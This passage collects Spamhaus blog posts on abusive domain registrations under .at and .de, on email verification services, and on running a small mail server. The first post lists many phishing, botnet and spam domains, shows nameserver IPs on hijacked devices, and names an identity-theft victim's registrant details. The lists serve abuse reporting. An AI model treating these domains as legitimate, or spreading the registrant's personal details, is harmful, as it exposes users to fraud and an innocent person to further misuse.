botnet plague will remain with us. ««»»

Ongoing abuse problems at Nic.at and DENIC

The Spamhaus Team — Wed, 19 Aug 2015 14:27:31 GMT

Some of you may remember Spamhaus' dispute with Nic.at (the registry of .at ccTLD - "country code Top Level Domain") back in 2007. At that time, we saw a massive amount of the "Rock Phish" gang's phishing domain names being registered within .at for the exclusive purpose of hosting phishing sites. We reached out to Nic.at several times regarding these issues but Nic.at refused to take action against the malicious domains. In accordance with Spamhaus' SBL Listing Policy we then issued a listing of Nic.at IP space, for providing Spam Support Services. That same day we received a statement from Nic.at telling us that the reported domain names had been suspended. Finally there was some good news for the internet and the phishers moved away from ccTLD .at. They tried other TLDs but they were quickly shut down, and not long after leaving .at ccTLD the Rock Phish gang faded away completely. Nic.at Since that time, it had been fairly quiet in the .at zone in terms of abuse, at least until the end of 2014 when we started to see miscreants register new domain names within the .at namespace again. The story is almost the same as in 2007: Miscreants registering domain names for exclusively malicious purposes. This time, instead of hosting phishing content, these domains are being used solely to provide DNS resolution for botnets. We call this "malware DNS hosting." To this end, they are hijacking modems and routers around the world and installing their own DNS servers that are then configured to resolve and service these botnet domains. Typically for botnets such as Zemot a click fraud bot or ebanking trojans such as KINS and Gozi. Below are some sample domains that are actively being used for malware DNS hosting at the time of writing. Note that the A-records point to end-user IP address space, meaning that these are all hijacked router/modems or otherwise compromised devices. $ dig +norec +noqu jeteligold.at @d.ns.at NS ;; AUTHORITY SECTION: jeteligold.at. 10800 IN NS bb.jeteligold.at. jeteligold.at. 10800 IN NS dd.jeteligold.at. jeteligold.at. 10800 IN NS cc.jeteligold.at. jeteligold.at. 10800 IN NS aa.jeteligold.at. ;; ADDITIONAL SECTION: aa.jeteligold.at. 10800 IN A 197.45.142.102 bb.jeteligold.at. 10800 IN A 188.136.148.242 cc.jeteligold.at. 10800 IN A 41.216.211.170 dd.jeteligold.at. 10800 IN A 78.158.162.235 $ dig +norec +noqu uhilod.at @d.ns.at NS ;; AUTHORITY SECTION: uhilod.at. 10800 IN NS aa.uhilod.at. uhilod.at. 10800 IN NS dd.uhilod.at. uhilod.at. 10800 IN NS cc.uhilod.at. uhilod.at. 10800 IN NS bb.uhilod.at. ;; ADDITIONAL SECTION: aa.uhilod.at. 10800 IN A 77.245.0.47 bb.uhilod.at. 10800 IN A 168.187.148.108 cc.uhilod.at. 10800 IN A 180.92.156.171 dd.uhilod.at. 10800 IN A 185.47.49.121 $ dig +norec +noqu hjll.at @d.ns.at NS ;; AUTHORITY SECTION: hjll.at. 10800 IN NS cc.hjll.at. hjll.at. 10800 IN NS dd.hjll.at. hjll.at. 10800 IN NS aa.hjll.at. hjll.at. 10800 IN NS bb.hjll.at. ;; ADDITIONAL SECTION: aa.hjll.at. 10800 IN A 77.245.0.47 bb.hjll.at. 10800 IN A 168.187.148.108 cc.hjll.at. 10800 IN A 180.92.156.171 dd.hjll.at. 10800 IN A 185.47.49.121 But this is merely the tip of the iceberg. Since January of this year we have seen many such .at domains all being used for the same purpose: 2015-08-20 12:50:10 rikklacrt.at Malware DNS 2015-08-16 09:02:54 serverweb.at Malware DNS 2015-08-14 09:52:37 zartrusrokl.at Malware DNS 2015-08-02 09:17:49 jeteligold.at Malware DNS 2015-07-25 08:38:48 zyzaeloft.at Malware DNS 2015-07-14 06:45:32 dfuktilor.at Malware DNS 2015-07-04 08:15:16 dirrolkh.at Malware DNS 2015-07-01 09:46:48 metanet.at Malware DNS 2015-06-25 05:54:48 gilkolt.at Malware DNS 2015-06-20 10:33:32 deorzae99.at Malware DNS 2015-06-07 07:52:44 kilofrogs.at Malware DNS 2015-06-04 06:47:33 hjll.at Malware DNS 2015-05-30 20:05:53 dudiklor.at Malware DNS 2015-05-30 09:07:15 rekmilk.at Malware DNS 2015-05-28 06:10:19 fgfj.at Malware DNS 2015-05-22 10:37:46 uhilod.at Malware DNS 2015-05-18 07:51:33 rhzq.at Malware DNS 2015-05-15 11:07:59 wxj.at Malware DNS 2015-05-15 08:41:01 lukpin.at Malware DNS 2015-05-14 07:28:50 zorjbneon.at Malware DNS 2015-05-13 12:40:01 wzq.at Malware DNS 2015-05-06 17:25:57 geokcha.at Malware DNS 2015-05-02 15:40:04 flurilk.at Malware DNS 2015-05-01 14:38:37 deosli.at Malware DNS 2015-04-25 07:02:13 mizare.at Malware DNS 2015-04-21 12:53:25 qlj.at Malware DNS 2015-04-20 07:34:25 cormk.at Malware DNS 2015-04-18 08:06:56 xwz.at Malware DNS 2015-04-04 10:49:02 qwj.at Malware DNS 2015-04-04 10:36:20 uwpi.at Malware DNS 2015-03-30 12:17:02 zjw.at Malware DNS 2015-03-26 09:23:58 techost.at Malware DNS 2015-03-24 12:00:33 qjq.at Malware DNS 2015-03-13 14:11:41 maxdns.at Malware DNS 2015-03-11 09:37:01 gogot.at Malware DNS 2015-03-09 11:28:02 qxq.at Malware DNS 2015-03-08 09:14:20 xqk.at Malware DNS 2015-03-05 08:19:36 pabla.at Malware DNS 2015-01-09 14:00:40 uberhosting.at Malware DNS 2014-12-26 09:46:42 webcore.at Malware DNS 2014-12-26 09:46:36 wqj.at Malware DNS 2014-11-12 12:17:13 keyhost.at Malware DNS Nic.at is one of the very few ccTLDs/TLDs that does not reveal the name of the registrar of a domain name, hence it is not possible to report malicious domain names directly to the registrar. Fortunately, Nic.at introduced an API shortly after our initial dispute that allows a reporter to reach out to the registrar. One still has no visibility as to which .at domain name has been registered through which registrar, but at least you have a possibility to reach them through Nic.at's API. Unfortunately this works very poorly as there is no guarantee that anyone at that domain's registrar takes care of, or even reads, reports that are sent - and no way to follow up with them. Contacting Nic.at about this with appeal to fix these abuse problems will get one nowhere: Dear Mr. X, I am referring to your e-mails below. [...] Regarding the legal situation of nic.at: Being located in Salzburg, nic.at is subject to Austrian law. The Austrian Supreme Court clearly stated in various decisions that nic.at as the registry cannot be held liable for the content of a website. Only the domain itself is the subject of the contract between nic.at and the domain holder. Therefore it is impossible for us to withdraw or lock a domain just on the request of a private company only referring to the content of a website and without a court order applicable in Austria as nic.at would face full liability against the domain holder. Reasons for nic.at to withdraw a domain according to the terms and conditions are wrong holder data, non-payment, non-working name servers, a court judgement or the violation of third parties rights through the domain itself, but not through the content. Below we forwarded you the contact data of the responsible registrar for the named domain and ask you kindly to contact this company for further activities. Best regards X X General Counsel nic.at We know that most of the malicious domain names shown above are registered through a German based registrar called Key-Systems. We have contacted them and outlined the problem. While some of the reported domain names have been suspended by Key-Systems, the registrar seems to have recommended their customer to move the domain name to a different registrar / reseller. What we are now seeing within ccTLD .at is ridiculous: Several registrars, mostly German-based, are moving malicious domain names around between each other. Once you report a malicious domain name to one of these registrars, they will just transfer it to a different registrar. Of course you won't notice that, because Nic.at does not reveal the registrars name on their whois system. So the only thing you see is that the domain name is still active even many weeks after your abuse report. If you report the domain name again through Nic.at' API, the abuse report will go to the new registrar and the miscreants will move the domain to a different registrar again. It is a cat and mouse game and Nic.at seems to be unable or unwilling to take effective action against the abuse of their domain name space. By "their domain name space" we really mean the domain name space belonging to the Austrian nation and its people and companies. We at Spamhaus are sad to see that more than eight years after dealing with the Rock Phish gang at Nic.at, the situation hasn't changed. Nic.at has not made essential changes in their policies in order to fight cybercrime. While the rules allow to revoke the delegations in the case of an instruction from a competent authority, to our knowledge no competent authority capable of instructing Nic.at to revoke the delegations of domains obviously registered for exclusively malicious purposes has been established. In a 2007 Document, Nic.at suggests that the "solution" is: "If we receive a proof of wrong domain holders data, we could withdraw domain according to our T&C." But this can not work in practice, as discussed in more detail below, registration data of malicious domains are either invalid - but proving that could well be a lengthy and labor-intensive proposition (who would do it?) that can exceed the domain lifetime expected by the miscreant - or refer to real innocent persons whose credentials were stolen. In contrast, the malicious nature of a domain is typically assessed by security researchers within minutes from its first appearance on the Internet, thanks to a multitude of technical indicators. Therefore, as a matter of fact, today Nic.at continues to refuse to suspend malicious domain names. At the same time, Nic.at does not provide the domain registrars the authority and permission to suspend malicious domain names, nor does it provide identification of those registrars. The result is that miscreants have "bulletproof" domains to control their botnets provided by Nic.at. DENIC It gets worse: Nic.at is not the only registry that is suffering from these abuse problems. DENIC, which is the provider of the German ccTLD .de, also has a weak registrar agreement in place and is providing insufficient information on their Whois gateway - again, not revealing the sponsoring domain name registrar - and are hence being heavily abused by spammers and phishers recently. Below is a list of recent spamming, phishing and botnet domains that have been registered in DENIC's ccTLD .de space: 2015-07-30 20:33:53 moncler-online-shop.de Fake product domains 2015-07-28 15:44:55 radio-def.de Malware C&C 2015-07-15 06:38:54 ssl-pp-authentifizierungsverfahren.de Phishing domain 2015-07-06 06:25:04 diazepamrezeptfrei.de Spammer domain (pillz gang) 2015-07-05 21:38:29 viagrakaufenonline.de Spammer domain (pillz gang) 2015-06-25 19:11:16 verifizierung-kundendienst.de Phishing domain 2015-06-25 19:10:47 paypal-datenabgleich.de Phishing domain 2015-06-16 09:29:43 postbank-zentrale.de Phishing domain 2015-06-14 14:04:07 kontoschutz-ssl-verfahrensabgleich.de Phishing domain 2015-05-22 12:57:01 archimagazine.de Italian spammer gang 2015-05-21 14:21:37 paypal-kundenverifizierung.de Phishing domain 2015-05-21 14:21:25 paypal-sicherer.de Phishing domain 2015-05-21 14:21:18 paypal-sicherheitsservice.de Phishing domain 2015-05-21 14:20:24 paypal-verifizieren.de Phishing domain 2015-05-21 14:20:21 paypal-authentifizierung.de Phishing domain 2015-05-09 08:16:52 pantozol40mg.de Spammer domain (pillz gang) 2015-05-09 08:16:52 bisoprolol5mg.de Spammer domain (pillz gang) 2015-05-09 08:16:52 doxycyclin100.de Spammer domain (pillz gang) 2015-05-09 08:16:52 torasemid10mg.de Spammer domain (pillz gang) 2015-05-09 08:16:52 mirtazapin15mg.de Spammer domain (pillz gang) 2015-05-09 08:16:52 azithromycin500.de Spammer domain (pillz gang) 2015-05-09 08:16:52 prednisolon20mg.de Spammer domain (pillz gang) 2015-05-09 08:16:52 tadalafil-kaufen.de Spammer domain (pillz gang) 2015-05-09 08:16:51 tabmd.de Spammer domain (pillz gang) 2015-05-09 08:16:51 apotheketop.de Spammer domain (pillz gang) 2015-05-09 08:16:51 ramilich5mg.de Spammer domain (pillz gang) 2015-05-09 08:16:51 amlodipin5mg.de Spammer domain (pillz gang) 2015-05-09 08:16:51 gesundeliebe.de Spammer domain (pillz gang) 2015-05-09 08:16:51 finasterid1mg.de Spammer domain (pillz gang) 2015-05-09 08:16:51 omeprazol40mg.de Spammer domain (pillz gang) 2015-05-09 08:16:51 prednisolon20.de Spammer domain (pillz gang) 2015-05-09 08:16:51 kaufen-viagra69.de Spammer domain (pillz gang) 2015-05-09 08:16:51 kaufentadalafil.de Spammer domain (pillz gang) 2015-05-09 08:16:51 pantoprazol40mg.de Spammer domain (pillz gang) 2015-05-08 12:37:38 potenzmittelapotheke24.de Spammer domain (pillz gang) 2015-05-03 08:34:31 flirtfair.de Spammer domain 2015-05-03 08:34:31 treffpunkt69.de Spammer domain 2015-05-03 08:34:31 sexpartnerclub.de Spammer domain 2015-05-03 08:34:31 images-flirtfair.de Spammer domain 2015-05-03 08:34:31 static-flirtfair.de Spammer domain 2015-04-28 08:52:32 hochzeit-im-garten.de Snowshoe spam 2015-04-28 08:52:32 it-loesungen-lange.de Snowshoe spam 2015-03-28 07:44:25 meine-db-aktualisierungskonto.de Phishing domain 2015-02-27 08:51:01 bekanntgabe-service.de Phishing domain 2015-02-27 08:50:46 kundeninformation-service.de Phishing domain 2015-02-27 08:50:27 consumerinformation.de Phishing domain 2015-02-23 13:43:09 sicherheit-veriifizierung.de Phishing domain 2015-02-10 12:26:54 kundendienst-commerzbanking.de Phishing domain 2015-02-02 08:23:21 abcnyx98cz.de Neurevt C&C Looking at the phishing domains that have been registered within ccTLD .de in the first half of 2015, it is interesting to see that the phishers are not only abusing ccTLD .de to target PayPal customers but also to target customers of certain German banks, such as Postbank and Commerzbank. So, phishers are weaponizing Germany's own internet infrastructure (in this case the ccTLD .de) to harm German citizens - yet DENIC refuses to take any action against offensive domain names. We can imagine how frustrating this is for both German citizens that are victims of these phishing attacks and for the affected financial institutions in Germany. The financial losses from these phishing fraud domains are all too real. We have contacted DENIC several times regarding these abuse problems. Unfortunately, their response was nearly exactly the same as the one we got from Nic.at: Hello, DENIC is only responsible for the registration of domains directly under the Top Level Domain (TLD) .de. It is the domain holders who are responsible for their individual domains as well as the contents and services that are available through them or processed by them. It is thus never possible for DENIC to be able to find out directly who is the source of spam mails or hacker attacks. DENIC is not able to block them, nor is it able to take any further steps. For further information, please visit our website at http://www.denic.de/en/hintergrund/spam/index.html Mit freundlichen Grüßen / Kind regards -- Business Services DENIC eG Kaiserstraße 75-77 60329 Frankfurt am Main GERMANY E-Mail: XXX@denic.de Fon: +49 69 XXX Fax: +49 69 XXX http://www.denic.de Taking a look at DENIC Domain Terms and Conditions, the statement made by DENIC appears in a somehow strange light: § 3 Duties of the Domain Holder (1) In submitting the application for registration of a domain, the Domain Holder gives an explicit assur-ance that all the data about them in the application is correct and that they are entitled to register and/or use the domain and, in particular, that the registration and intended use of the domain does not infringe anybody else’s rights nor break any general law. If the Domain Holder is not domiciled in Germany, they must appoint an Administrative Contact domiciled in Germany; this Administrative Contact is also the Domain Holder’s authorized representative for receiving the service of official or court documents for the purposes of § 184 of the German Code of Civil Procedure, § 132 of the German Code of Criminal Procedure, §56 (3) of the Rules of the Administrative Courts, and § 15 of the Administrative Procedures Act and the corresponding provisions of the Administrative Procedures Acts of the respective states of the Federal Republic of Germany. [...] § 7 Termination [...] (2) DENIC is only permitted to terminate the contract on substantial grounds. These grounds include, in particular, any case in which: [...] d) the registration of the domain for the Domain Holder manifestly infringes the rights of others or is otherwise illegal, regardless of the specific use made of it; or [...] f) the data supplied to DENIC regarding the Domain Holder or the Administrative Contact is incorrect; or [...] Ref.: The Terms and Conditions allows DENIC to terminate a domain name if it is "manifestly infringes the rights of others or is otherwise illegal" (§7, 2d) or "the data supplied to DENIC regarding the Domain Holder or the Administrative Contact is incorrect" (§7, 2f). These two statements (specially the term "otherwise illegal", which is pretty generic and hence gives DENIC a big scope of interpretation) appear to be quite solid. But having a look at recent fraudulent registrations within the ccTLD .de, the situation looks a bit different, e.g. ssl-pp-authentifizierungsverfahren.de - which was actually a phishing domain that was targeting PayPal: Whois can be found here: Checking the registrants email address (hans-bader@dermails.net) reveals that the domain name (dermails.net) doesn't have an MX record and the registrant is not able to receive any email. But it actually gets worse: The domain name (dermails.net) is not even registered: No match for "DERMAILS.NET". >>> Last update of whois database: Wed, 22 Jul 2015 10:58:01 GMT The situation we have here appears to be pretty clear: DENIC is apparently doing no validation and verification (automated or otherwise) of the data provided by the registrant. This opens big doors for spammers, malware coders and botnet operators to abuse the German domain name space. Beside the fact that the data provided by the registrant is incorrect and hence violating the Terms and Conditions of DENIC, the domain name can also be treat under §7, 2d ("or is otherwise illegal"), unless identity theft is legal Germany (which we really doubt). Beside the fact that many fraudulent domain name registration we see are being committed using incorrect registrant data, we also see a trend, specially in the ccTLD .de zone, of stealing the identity of someone else. Cybergangsters are registering malicious domain names using a stolen identity by impersonating being someone else. For example potenzmittelapotheke24.de (a pill domain that was being heavily spammed out by the Slenfbot botnet recently): Whois can be found here: A short search on Google reveals that the person that has registered this domain name is a painter in Schwerin (Germany): We doubt that a painter is able to run such a large spam botnet operation and, specially, using his real name for this purpose. We wonder, and are concerned, as to how this innocent individual who is being victimized by the cybercriminal botnet drug-spamming operation would ever be able to remove his personal information from the domain registration. It does not seem that any report to DENIC would have any effect. According to DENIC, victims whose identities have been abused for registration of domain names by third parties can request deletion of the domain names by filing a written statement to DENIC. However, this requires the victim, a) being aware his identity has been abused, and b) being familiar with the domain registration system to address DENIC and explain the situation to them. According to our experience, this isn't the case with most domain names registered using stolen identities. Therefore, DENIC should also take action and look into potential fraudulent domain registrations when being notified by third parties and provided with appropriate evidence. Solution Nic.at and DENIC try to excuse their inaction to abuse reports with claims that they are not responsible for the content or use of a domain name. These claims seem to have the short-sighted and narrow goal of keeping responsibility away from themselves. Their procedures and regulations seem to be based on the idea of protecting the rights of the domain owners and their freedom to publish contents on their web sites without being shut down. While that is commendable in legitimate cases, the issue here is not legitimate domains. Cybercrime domains should not benefit from this kind of protection, as keeping them connected brings an immense damage to the Internet at large and is of benefit only to the cybercrime gangs that registered them. It is clear that the procedures and regulations need to be modified in order to take into account the existence of purely malicious domains, identified by security researchers, and stop the abuse quickly and effectively. In fact, a registry may act to stop malicious domain names in several ways. The most important mechanism is having a strong registrar agreement / registrant agreement in place, an "Acceptable Use Policy." Many registries create their own registrar agreement, so they can write a comprehensive agreement as long as it aligns with their local legislation and ICANN's policy. It should be noted that though neither Nic.at and DENIC are directly governed by ICANN policy, both work with and are involved in ICANN and have funded ICANN's operations (see ). Some registries are bound to a registrar / registry agreement that has been setup by the local regulator, for example under telecommunication statutes. For both cases, there are two very good examples on how you can deal with abusive customers. The ccTLD .ru (responsible for the domain name space .ru) introduced new terms and conditions in 2011 to battle cybercrime. That allows registrars to suspend malicious domain name upon the receipt of a request from a substantiated petition from an organization indicated by the Coordinator as a competent one to determine violations in the Internet: 5.7. The Registrar may terminate the domain name delegation upon the receipt of a substantiated petition from an organization indicated by the Coordinator as a competent one to determine violations in the Internet, should the petition contain information about the domain’s information addressing system being used for: 1. receipt from third parties (users of the system) of confidential information by misleading these persons regarding its origin (authenticity) due to similarity of the domain names, design or content of the information (phishing); 2. unauthorized access to third parties’(users, visitors) information systems or for infecting these systems with malware or taking control of such software (botnet control); [...] Ref.: The Swiss Regulator BAKOM (Federal Office of Communications), which is the owner of ccTLD .ch, actually goes down the same path. BAKOM has recently updated their regulation which now allows the registry to suspend malicious domain names upon receipt of a request from an organisation which is recognized by the regulator to deal with cybercrime: Art. 15 Blockierung eines Domain-Namens bei Missbrauchsverdacht 1 Die Registerbetreiberin muss einen Domain-Namen technisch und administrativ blockieren, wenn die folgenden Voraussetzungen erfüllt sind: a. Es besteht der begründete Verdacht, dass der Domain-Name benutzt wird: 1. um mit unrechtmässigen Methoden an sensible Daten zu gelangen; oder 2. um schädliche Software zu verbreiten. b. Eine zur Bekämpfung der Cyberkriminalität vom BAKOM anerkannte Stelle hat die Blockierung beantragt. Ref.: Conclusion If Switzerland and Russia are able to implement appropriate mechanisms in their regulation and/or registrar agreement to fight malicious domain names, it shouldn not be too difficult for Austria and Germany to do the same. If Nic.at or DENIC are not willing or allowed to implement appropriate mechanisms to deal with abuse of the scale we see, they should present the need for an urgent change to the appropriate regulatory bodies within their countries. In the end, both Nic.at and DENIC - as every other organisation, service provider and internet user - should accept their responsibility to make the internet a safer and civilized place, and to protect the reputation of their own national ccTLD. We hereby urge Nic.at and DENIC to finally take the appropriate actions to battle fraudulent and illicit domain name registrations within their domain name space (ccTLD) by: Providing the name of the sponsoring registrar of a domain name in the whois service, including a valid and working abuse reporting address of the sponsoring domain registrar. Implementing a secure and fast mechanism to suspend malicious domain names identified by security researchers at both the registrar and registry level. Revising the registry policy / registrar agreement appropriately so that abuse problems can be dealt with promptly.

On the dubious merits of email verification services

The Spamhaus Team — Thu, 30 Apr 2015 23:45:00 GMT

The Spamhaus Project view of these services Over the past several years we have encountered several businesses offering email verification services. We have met them in industry social circles, sometimes they get tangled in our lists, and often we're asked by senders and receivers alike: "what does Spamhaus think of verification services?" The idea of the verification service is to determine whether an email address exists, before it is used for transactional or bulk email. That helps avoid undeliverable messages which can trigger spam-blocking actions by the receiving system. It does nothing to verify the permission of the recipient to accept a subscription, which is the most important step in avoiding spam when acquiring addresses for bulk emailing lists, nor does it ensure that the email address owner is the same as the person making the transaction. That means that transactional mail like receipts, tickets or vouchers could be sent to the wrong person, yet the address won't bounce because it was verified to exist. SMTP includes commands called "VRFY" and "EXPN" which do exactly what verification services offer. While those two functions are technically different, they both reveal to a third party whether email addresses exist in the server's userbase. Nearly every Postmaster (mail server administrator) on the Internet has turned off VRFY and EXPN due to abuse by spammers trying to harvest addresses, as well as a general security and privacy measure required by most network's operational policies. In fact, since about 1999 or before, all mail servers are installed with those off by default. That should give a clear indication to email verifiers about the opinion of Postmasters of the service they intend to offer. Doing verification against systems that have disabled those functions, whether successful or not, constitutes an attempted breach of the receiver's security policies and may be considered a hostile act by site administrators. Sending high volumes of verification probes without an attempt to actually send an email will often trigger filters or firewalls, thus invalidating the data and impairing future verification accuracy. Listwashing and spamtrap washing services help spammers. They do not help list owners who have done proper opt-in acquisition and list maintenance, nor do they help mail receivers (including both Postmasters and mailbox owners) who rely on spamtrap data to keep spam off their servers and out of their mailboxes. These services might be of marginal help for point-of-sale typo'd addresses (but it won't catch many typo traps, despite tricks the verifiers use to detect those) or in the few edge cases of list owners who have not been as diligent as they should in address acquisition and list maintenance, but many of those cases need to take much stronger list hygiene measures than simply verifying the existence of addresses. (They need to remove bounces, non-responders and bad list segments and imports, and then do a permission pass over the remaining addresses, keeping only those whose owners subscribe to that offer.) Email verification services must operate with a strong policy which prohibits listwashing, trap washing and related spam support services, and which avoids clients who seek those services. Considerations if attempting to offer a verification service So, let's say that despite all the problems and objections to email verification as a business model, you decide to offer such a service. What are some things you should consider? You need to properly identify your company, including your domain and your IP addresses. Your reputation is easier to build and stronger when it is based on a single domain and a single IP address, or a small and contiguous range of IP addresses. Using lots of domains and lots of IP addresses - like spammers do! - and not properly identifying your company in whois, PTR, SPF, DMARC and other network records is the mark of someone sneaking around... like spammers do! Poor reputation of your domains and IP addresses will get you blocked at many receivers, and possibly at Spamhaus. If a Postmaster doesn't want you snooping around their server, possibly blocking or rate-limiting your domain or IP addresses, respect their choice and don't try and sneak around their blocks. Changing IP addresses or domains is sneaky and evasive. Evading such filters is spammy on the sender/verifier's part and will be seen as intentionally so, and larger, higher, stronger barriers put in place. You may wish to contact them, ask what's up and whether there's anything you can do to regain their trust, but do that honestly and forthrightly. Do not offer listwashing and spamtrap removal services. If a customer asks about those, that should raise a big caution flag with you. Why do they need those things if they collected their mailing list properly and honestly in the first place? Offer a true Confirmed Opt In (COI) service so that list owners not only verify that customer addresses exist, but also verify that the sender has each and every mailbox owner's permission to send it bulk email. This could relate to the "permission pass" method of list repair, as mentioned above and referenced below. "Let me tell you about my business model..." Some of the things we've heard from verifiers, and our response: "Our clients must have their own dedicated setup and need separate domains and IP addresses due to their company policy or privacy reasons." The context of that quote was the verifier's use of many domains and IPs, both poorly identified - nonsense domains, anonymized whois, generic or no rDNS, no IP address netblock SWiPs, etc. It looked like a typical snowshoe spammer setup. ESP clients are often well-advised to use dedicated IP addresses and their own domains because they have their own branding with well-known domains and established reputations. Those dedicated domains and IP addresses should, of course, have proper network identification of the responsible party, and be static over time. The branding and reputation factors are different for a verifier than for an ESP. It is simply not true that each verifier client needs its own separate domain and IP address. The verifier's email probe is essentially invisible as far as branding. No end-user ever sees any part of it. Only a Postmaster will notice the domain/IP in log files. The reputation attached to a probe connection is that of the verifier! Only by building their own good reputation will the verifier's probes have value. If they have low reputation, including unknown reputation, they may be blocked or temp-failed, neither of which helps the verifier deliver the product they sell. There's an old joke in anti-spam circles that simply goes, "Let me tell you about my business model..." Period. It means that every spammer always has a reason that their business is special and doesn't need to follow good practices. Receivers don't care about your business model! They care about their servers, mailboxes and customers. Same here; it's your business and your reputation that you need to care about. Sure, you need to service your client's needs, but it's simply not true that they each need separate domains and IP addresses, and that does not scale in the reputation world. You need to establish your domain/IP address reputation. You need to explain to your customers that this is how it works, this is to their best advantage, this won't change their branding or perception to their customers, and this is how you do business. "We are helping customers make sure that their end users are putting in the email addresses correctly so if the user accidentally mistypes their email address, they can correct it in real time. I will give you an example about this with one e-commerce customer. They called us and discussed with us the problem of bots creating fake signups and clogging their websites from multiple IP addresses throughout the world, over 20,000 signups a day. As soon as they put verification in place the fake signups stopped." That is, indeed, an excellent example of why we do not flat-out say that verification is wrong. By stopping the bot attack, it stops the sender's attempts to deliver unwanted or undeliverable mail. Of course, it still does not confer the address owner's permission when their address does verify. That's where the sender needs COI, especially when acquiring addresses for on-going list email. But we do recognize that verification can have a role in a healthy email system. Real-time point-of-sale verification is another example which helps for single transactional email. "But we don't send mail at all!" Balderdash! We understand that you don't complete the SMTP dialog with "/r/n\./r/n" and "250 OK," or maybe you don't even go to DATA. You do use SMTP, and you even use it to circumvent disabled VRFY or EXPN services. You extract information about a Postmaster's users which may be against their terms of service. You fill up their mail server's ports and logs with your connections. No, you don't put spam messages in end-user or spamtrap boxes (although bad actors doing verification for bad lists may result in increased user-received spam), but it's not honest to say you don't mail. References and further reading: - Anti-Spam Recommendations for SMTP MTAs, February 1999 - Whatever happened to VRFY?, January 2007 - Permission Pass - Confirmed Opt In: A Rose by Any Name, August 2008 https://www.spamhaus.org/news/article/734?article=734 Subscription Bombing: COI, CAPTCHA, and the Next Generation of Mail Bombs, September 2016 snowshoe spamming

A Survival Guide for the Small Mail Server

The Spamhaus Team — Thu, 19 Mar 2015 00:00:00 GMT

Nowadays many companies and organizations (non-profits, units of governmental and educational institutions, etc) believe that running their own mail servers has become an impossible task, due both to the large amount of inbound spam and to the continuous attempts by spammers to send outbound spam through their mail servers. Companies often lack in-house technical resources to configure and run a mail server properly and deal with these threats. For these reasons, many organizations decide to outsource their email service to external entities. However, outsourcing does not come without costs, even when the outsourced service appears to be "free". Hidden costs include: Another organization can see the content of all messages. In some cases, the contents of messages are stored on the outsourcing company's servers indefinitely. External access to unencrypted emails poses privacy and confidentiality issues. Furthermore, the outsourcing company may be located in another country and be subjected to different regulations and obligations. In some cases, the outsourcing company's terms and conditions allow it to search the content of emails to aid in targeting advertising, which poses even greater privacy and confidentiality problems. The organization no longer has control of its own email security. Server-based encryption and authentication is managed by the outsourcing company, requiring end-to-end encryption for sensitive communications. Large companies with many customers are often a target of cybercrime attacks aimed at stealing customer data, and some of these attacks have succeeded. Inspection of SMTP transaction logs may be impossible for the end user. Troubleshooting failed deliveries and other email problems requires interacting with an external support desk. Support desks are sometimes slow to respond. First-line support, in particular, might lack the training and access to fix any but simple problems, requiring escalation and further delays. Sharing a mail server with other organizations can cause delivery issues when a user at another organization sends spam through that mail server. When the outsourcing company fails to detect and block spam, or is slow to terminate service to spammers, the likelihood of problems increases substantially. These disadvantages are important. For small organizations that need reliable, confidential email systems, the choice of whether to outsource or not can be a tough one. Running a secure, spam-filtered mail server for a small organization is not terribly difficult, if these guidelines are followed: Choose a good ISP or hosting provider** Reject as much inbound spam as possible** Prevent outbound spam** Monitor the logs!** In the remainder of this article we discuss each of these points in turn. CHOOSE A GOOD ISP OR HOSTING PROVIDER Unfortunately people and companies rarely consider how an ISP or hosting provider handles spam and abuse issues when choosing what company to use for Internet service or to host a server. ISPs vary tremendously in how well they keep under control spam and abuse on their network. When you manage your own mail server, it is critically important that your ISP does not allow spam and abuse to flourish on its network. If it does, then you may encounter delivery issues when sending email. Your servers might also come under increased numbers of hacking attacks because many hackers concentrate their efforts on networks that lack effective spam and abuse policies or a properly-staffed and competent abuse department. Furthermore, if a security hole has allowed your server to become a vehicle of abuse, you would really appreciate your ISP to notify you in a professional and timely way rather than ignore the issue. To verify that an ISP or hosting company is properly handling spam and abuse on its network, you can use use a number of resources to check the reputation of its IPs and domains, and determine how well it responds to abuse reports sent to its RFC-mandated abuse contact email address. First, you can check the CBL Statistics by Domain list to see if the ISP is on it, and if so at what ranking. A small or medium-sized ISP or web host should not appear on this list. A large ISP or web host should not be highly ranked if it does appear. A high ranking indicates that the ISP sends a great deal of spam from malware-infected servers, or hosts malware on its servers that can infect other computers. An ISP whose networks do not appear or are not highly ranked usually has sufficient abuse management resources and good practices, enabling it to detect compromised servers and end-user computers. Such ISPs also act quickly to notify infected users, fixing problems rather than allowing them to linger. Second, the SBL has two resources for vetting an ISP or host. You can check the SBL's World's Worst Spam Support ISPs page to see if the ISP is listed. If it is, avoid it. An ISP that appears on this list is either ignoring spam and abuse on its network or is actively complicit. If the ISP does not appear on the list of worst spam supporters, check for open SBL listings within the ISP's IPs by opening the following URL, substituting the ISP's domain name for "example.com": Some ISPs use multiple domain names. In most cases the Spamhaus database will automatically redirect the search to the correct domain name, and display the SBL listings for that ISP. Only top-level networks show up in the SBL; ISPs that obtain their IPs from another ISP or network service provider (NSP) usually do not appear under their own names. If you can't find an ISP that you are considering, before you assume that they run a clean network, you should try searching for the domain name of their upstream provider or upstream providers. The results page for this type of search displays a short synopsis of all active SBL listings assigned to that ISP with their creation dates. A large ISP often will have a few listings, but even large ISPs should have only a few SBLs, and the listing dates should be recent (within the past week or two at most). You might also see a few informational SBL listings: listings for a single IP that ends with ".0/32". Don't ignore these SBLs just because they do not block active IPs. Informational SBLs document real problems on IPs that Spamhaus is not listing outright to prevent large numbers of false positives. They are not less serious than other SBLs. If an ISP has more than a few SBL listings, or has SBL listings that are weeks or months old, then you can usually conclude that the ISP is not effectively preventing and managing abuse on its networks. Third, you can check the following recommended third-party resources to find out whether a specified IP or domain is listed in public blocklists (ours and others) and to assess the reputation of a specified IP range or domain: MX Toolbox Blacklist Check. Check IPs and domains to see if they are listed in blocklists (Spamhaus and many others). SenderBase. Check IPs and IP ranges for overall reputation. SenderScore. Check IPs and domains for overall reputation. Finally, you should test the abuse contact email address (the "abuse@" email address at the ISP's domain) to see whether it exists and whether you receive a timely response. You can do this by sending email to that email address asking a question about an abuse-related issue. For example, you could ask what resources the host has in place to help customers whose servers are hacked or compromised. If the ISP fails to answer the email within a few days, or if the message is rejected for any reason, they may also ignore other email to their abuse contact. If the ISP answers, that should be definitely taken as a good sign. Remember that, in addition to accepting spam and abuse complaints, the abuse team at an ISP should take proactive measures to ensure that it finds out about any spam or abuse on its network and can take quick action to stop it. A good ISP abuse team subscribes to feedback loops -- automated near-real-time spam reports offered by a number of large ISPs and anti-abuse organizations. A good ISP abuse team also configures its network to discourage spam, watches its network for signs that an IP or server is sending 